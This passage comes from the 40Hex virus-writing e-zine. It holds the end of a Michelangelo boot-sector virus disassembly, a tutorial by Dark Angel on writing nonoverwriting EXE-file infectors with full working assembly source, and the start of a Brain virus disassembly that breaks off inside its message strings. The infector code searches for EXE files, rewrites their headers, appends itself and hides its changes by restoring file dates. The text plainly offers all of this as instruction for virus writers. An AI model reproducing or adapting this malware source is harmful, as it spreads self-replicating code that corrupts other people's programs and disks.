mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
40Hex Number 8 Volume 2 Issue 4 File 007
???????????????????????????????????????
An Introduction to Nonoverwriting Virii
Part II: EXE Infectors
By Dark Angel
???????????????????????????????????????
In the last issue of 40Hex, I presented theory and code for the
nonoverwriting COM infector, the simplest of all parasitic virii.
Hopefully, having learned COM infections cold, you are now ready for EXE
infections. There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.
EXE infections are, in some respects, simpler than COM viruses.
However, to understand the infection, you must understand the structure of
EXE files (naturally). EXE files are structured into segments which are
loaded consecutively atop one another. Thus, all an EXE infector must do
is create its own segment in the EXE file and alter the entry point
appropriately. Therefore, EXE infections do not require restoration of
bytes of code, but rather involve the manipulation of the header which
appears in the beginning every EXE file and the appending of viral code to
the infected file. The format of the header follows:
Offset Description
00 ID word, either 'MZ' or 'ZM'
02 Number of bytes in the last (512 byte) page in the image
04 Total number of 512 byte pages in the file
06 Number of entries in the segment table
08 Size of the header in (16 byte) paragraphs
0A Minimum memory required in paragraphs
0C Maximum memory requested in paragraphs
0E Initial offset in paragraphs to stack segment from header
10 Initial offset in bytes of stack pointer from stack segment
12 Negative checksum (ignored)
14 Initial offset in bytes of instruction pointer from code segment
16 Initial offset in paragraphs of code segment from header
18 Offset of relocation table from start of file
1A Overlay number (ignored)
The ID word is generally 'ZM' (in the Intel little-endian format). Few
files start with the alternate form, 'MZ' (once again in Intel little-
endian format). To save space, a check for the alternate form of the EXE
ID in the virus may be omitted, although a few files may be corrupted due
to this omission.
The words at offsets 2 and 4 are related. The word at offset 4 contains
the filesize in pages. A page is a 512 byte chunk of memory, just as a
word is a two byte chunk of memory. This number is rounded up, so a file
of length 514 bytes would contain a 2 at offset 4 in the EXE header. The
word at offset 2 is the image length modulo 512. The image length does not
include the header length. This is one of the bizarre quirks of the EXE
header. Since the header length is usually a multiple of 512 anyway, this
quirk usually does not matter. If the word at offset 2 is equal to four,
then it is generally ignored (heck, it's never really used anyway) since
pre-1.10 versions of the Microsoft linker had a bug which caused the word
to always be equal to four. If you are bold, the virus can set this word
to 4. However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.
The minimum memory required by the program (offset A) can be ignored by the
virus, as the maximum memory is generally allocated to the program by the
operating system. However, once again, ignoring this area of the header
MAY cause an unsucessful infection. Simply adding the virus size in
paragraphs to this value can nullify the problem.
The words representing the initial stack segment and pointer are reversed
(not in little-endian format). In other words, an LES to this location
will yield the stack pointer in ES and the stack segment in another
register. The initial SS:SP is calculated with the base address of
0000:0000 being at the end of the header.
Similarly, the initial CS:IP (in little-endian format) is calculated with
the base address of 0000:0000 at the end of the header. For example, if
the program entry point appears directly after the header, then the CS:IP
would be 0000:0000. When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).
All the relevant portions of the EXE header have been covered. So what
should be done to write a nonoverwriting EXE infector? First, the virus
must be appended to the end of the file. Second, the initial CS:IP must be
saved and subsequently changed in the header. Third, the initial SS:SP
should also be saved and changed. This is to avoid any possible memory
conflicts from the stack overwriting viral code. Fourth, the file size
area of the header should be modified to correctly reflect the new size of
the file. Fifth, any additional safety modifications such as increasing
the minimum memory allocation should be made. Last, the header should be
written to the infected file.
There are several good areas for ID bytes in the EXE header. The first is
in the stack pointer field. Since it should be changed anyway, changing it
to a predictable number would add nothing to the code length. Make sure,
however, to make the stack pointer high enough to prevent code overwrites.
Another common area for ID bytes is in the negative checksum field. Since
it is an unused field, altering it won't affect the execution of any
programs.
One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files. Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be. DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code). It is important to restore DS and ES to their proper values before
returning control to the EXE.
----cut here---------------------------------------------------------------
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; filesize in pages
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov cx, 1ah
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
exe_mask db '*.exe',0
heap: ; Variables not in code
newDTA db 42 dup (?) ; Temporary DTA
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus
----cut here---------------------------------------------------------------
This is a simple EXE infector. It has limitations; for example, it does
not handle misnamed COM files. This can be remedied by a simple check:
cmp [bp+buffer],'ZM'
jnz misnamed_COM
continueEXE:
Take special notice of the done_infections and infect_exe procedures. They
handle all the relevant portions of the EXE infection. The restoration of
the EXE file simply consists of resetting the stack and a far jmp to the
original entry point.
A final note on EXE infections: it is often helpful to "pad" EXE files to
the nearest segment. This accomplishes two things. First, the initial IP
is always 0, a fact which can be used to eliminate delta offset
calculations. Code space can be saved by replacing all those annoying
relative memory addressing statements ([bp+offset blip]) statements with
their absolute counterparts (blip). Second, recalculation of header info
can be handled in paragraphs, simplifying it tremendously. The code for
this is left as an exercise for the reader.
This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to write EXE infectors). Hopefully, this text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors. In the next issue of 40Hex, I will present the theory
and code for the next step of file infector - the coveted SYS file.
40Hex Number 8 Volume 2 Issue 4 File 008
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '.....